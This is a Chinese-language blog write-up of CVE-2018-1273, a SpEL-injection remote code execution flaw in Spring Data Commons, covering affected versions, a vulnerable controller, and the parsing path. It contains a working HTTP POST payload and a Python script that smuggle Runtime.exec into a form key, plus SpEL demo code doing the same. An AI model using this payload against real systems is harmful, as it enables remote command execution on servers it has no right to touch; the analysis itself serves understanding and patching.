Spring-data-commons(CVE-2018-1273)漏洞分析

Spring-data-commons(CVE-2018-1273)漏洞分析

*## 前言

CVE-2018-1273 是 Spring-data-commons近期爆出的一个可远程执行代码的漏洞,为了了解更多细节,本文将从漏洞的成因,漏洞的判定以及漏洞的利用三个方面来进行详细说明。

  • 漏洞的成因

    当用户在项目中利用了Spring-data的相关web特性对用户的输入参数进行自动匹配的时候,会将用户提交的form表单的key值作为Spel的执行内容,而这一步就是本次漏洞的爆发点。

  • 漏洞的判定

    • 确认目标项目中含有Spring-data-commons包并且版本范围如下

      1
      2
      Spring Data Commons 1.13 to 1.13.10
      Spring Data Commons 2.0 to 2.0.5
    • 查看相关特性是否已经开启
      1.@EnableSpringDataWebSupport 被显示声明

      2.@EnableSpringDataWebSupport 没有显示声明,但采用了spring-boot框架的自动扫描特性
      当采用Spring-boot的自动扫描特性的时候,在启动时会自动加载 SpringDataWebConfiguration类效果与上述相同

      3.在非注解声明项目中,如果有如下声明,也视为开启了相关的特性

      1
      <bean class="org.springframework.data.web.config.SpringDataWebConfiguration" />
    • 检查带@RequestMapping的接口,方法的参数为一个自定义的接口(Interface)

      满足如上条件的靶子代码如下

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      @SpringBootApplication
      public class App {

      public static void main(String[] args) {
      SpringApplication.run(App.class);
      }

      @Controller
      public class TestController {
      @RequestMapping("test")
      public void CVEController(TestForm testForm){
      System.out.println(testForm.getName());
      }
      }

      interface TestForm {
      String getName();
      }
      }
  • 漏洞的利用

    根据上述判定出来的漏洞点,我们可以构造如下攻击代码

    1.构建一个Http的Post请求
    2.利用form表单提交的方式来提交我们的key value
    3.在key的名称中包含此次攻击代码
    4.提交的key为上文的 getName() 方法的 name
    5.在name后面补上一段Spel支持的代码片段,key将变成如 name[T(java.lang.Runtime).getRuntime().exec(“calc”)]

    最终playload如下

    1
    2
    3
    4
    5
    6
    POST /test HTTP/1.1
    Host: 127.0.0.1:8080
    Content-Type: application/x-www-form-urlencoded
    Cache-Control: no-cache

    name%5BT(java.lang.Runtime).getRuntime().exec(%22calc%22)%5D=v

    用python写的简单脚本如下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    import http.client, urllib.parse

    command = "calc.exe"
    key = 'name[T(java.lang.Runtime).getRuntime().exec("%s")]' % command
    params = urllib.parse.urlencode({key: 'v'})
    headers = {"Content-type": "application/x-www-form-urlencoded"}
    conn = http.client.HTTPConnection(host="localhost",port=8080)
    conn.request("POST", "/test", params, headers)
    conn.close()

    总而言之当满足漏洞条件时,只需要发送一个特定的key就可以了

  • Spring-data-commons漏洞被执行的流程

    本次漏洞的成因,主要在于Spring在自动解析用户的参数的时候采用了 SpelExpressionParser 来解析propertyName

    MapDataBinder.java 169行

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    Expression expression = PARSER.parseExpression(propertyName);

    PropertyPath leafProperty = getPropertyPath(propertyName).getLeafProperty();
    TypeInformation<?> owningType = leafProperty.getOwningType();
    TypeInformation<?> propertyType = owningType.getProperty(leafProperty.getSegment());

    propertyType = propertyName.endsWith("]") ? propertyType.getActualType() : propertyType;

    if (conversionRequired(value, propertyType.getType())) {

    PropertyDescriptor descriptor = BeanUtils
    .getPropertyDescriptor(owningType.getType(), leafProperty.getSegment());
    MethodParameter methodParameter = new MethodParameter(descriptor.getReadMethod(), -1);
    TypeDescriptor typeDescriptor = TypeDescriptor.nested(methodParameter, 0);

    value = conversionService.convert(value, TypeDescriptor.forObject(value), typeDescriptor);
    }

    expression.setValue(context, value);

    那么这个MapMapDataBinder是怎么被调用起来的呢,我们简要地说一下 SpringMVC在解析参数这个部分

    • SpringDataWebConfiguration 类的特性被启用的时候,会将 ProxyingHandlerMethodArgumentResolver 注册到容器中去

    • 当SpringMVC得到一个请求的时候,会遍历容器中注册的 HandlerMethodArgumentResolver 调用他们的supportsParameter方法。
      由于我们的参数是一个Interface(接口),那么 ProxyingHandlerMethodArgumentResolver 就会告诉调用方,它支持这个参数的解析
      即 supportsParameter 会返回true,但在实际中还会有多个判断比如该接口不能是java包下的,也不能是org.springframework包下的

    • ProxyingHandlerMethodArgumentResolver在拿到参数的时候会创建一个MapDataBinder来解析参数
      MapDataBinder.bind()方法,会连带进行doBind操作,最终会调用到 setPropertyValue 方法来,最后在 expression.setValue(context, value) 的时候触发了漏洞

  • 关于Spring的Spel

    SPEL全称Spring Expression Language,简要翻译就是Spring自带的表达式语言,如代码所示Spring提供以下特性

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
      public class SpelExample {

    public static void main(String[] args) {
    SpelExample spelExample=new SpelExample();
    spelExample.supportValue();
    spelExample.supportClassMethod();
    spelExample.supportProperty();
    spelExample.supportArray();
    spelExample.supportCustomIndex();
    spelExample.supportCustomProperty();
    spelExample.runPlayLoad();
    }
    /*
    * 支持一个值
    * */
    public void supportValue(){
    SpelExpressionParser parser=new SpelExpressionParser(new SpelParserConfiguration(false, true));
    Expression exp = parser.parseExpression("'this is a value'");
    System.out.println(exp.getValue()); // this is a value

    }

    /*
    支持执行一个java类的方法
    */
    public void supportClassMethod(){
    SpelExpressionParser parser=new SpelExpressionParser(new SpelParserConfiguration(false, true));
    Expression exp = parser.parseExpression("T(java.lang.Math).random() * 100.0");
    System.out.println(exp.getValue());//返回一个随机数
    }

    /*
    * 支持对目标对象进行赋值
    * */
    public void supportProperty(){
    SpelExpressionParser parser=new SpelExpressionParser(new SpelParserConfiguration(false, true));
    Expression exp = parser.parseExpression("name='set my value'");
    MockClass mockClass=new MockClass();
    exp.getValue(mockClass);
    System.out.println(mockClass.name); //set my value

    }

    /**
    * 如果属性是一个数组也支持
    * */
    public void supportArray(){
    SpelExpressionParser parser=new SpelExpressionParser(new SpelParserConfiguration(false, true));
    //T(java.lang.Math.abs(0)) 会返回0
    Expression exp = parser.parseExpression("list[0]='list value'");
    MockClass mockClass=new MockClass();
    exp.getValue(mockClass);
    System.out.println(mockClass.list[0]);//list value

    }

    /**
    * 数组的下标也是可以利用表达式求得
    * 注释:这里就是恶意代码能执行的关键
    * */
    public void supportCustomIndex(){
    SpelExpressionParser parser=new SpelExpressionParser(new SpelParserConfiguration(false, true));
    Expression exp = parser.parseExpression("list[T(java.lang.Math).abs(0)]='index is 0'");
    MockClass mockClass=new MockClass();
    exp.getValue(mockClass);
    System.out.println(mockClass.list[0]);//index is 0
    }

    /*
    * 也可以获取一个数组属性的指定下标的值
    * 这里就是上述漏洞利用的地方
    * */
    public void supportCustomProperty(){
    SpelExpressionParser parser=new SpelExpressionParser(new SpelParserConfiguration(false, true));
    //获取目标对象list属性中下标为1的值
    Expression exp = parser.parseExpression("list[T(java.lang.Math).abs(1)]");
    MockClass mockClass=new MockClass();
    System.out.println(exp.getValue(mockClass));// 输出 1,
    }

    /**
    * 执行我们的代码,拉起计算器
    * */
    public void runPlayLoad(){
    SpelExpressionParser parser=new SpelExpressionParser(new SpelParserConfiguration(false, true));
    //获取目标对象list属性中下标为1的值
    Expression exp = parser.parseExpression("list[[T(java.lang.Runtime).getRuntime().exec(\"calc\")]]");
    MockClass mockClass=new MockClass();
    System.out.println(exp.getValue(mockClass));// 输出 1,
    }

    class MockClass{
    //只有声明为public才能被赋值
    public String name;
    public String[] list=new String[]{"0","1"};
    }
    }

    以上就是此次CVE-2018-1273的详细细节,希望对你有帮助

  • 引用

    CVE-2018-1273 RCE with Spring Data Commons 分析报告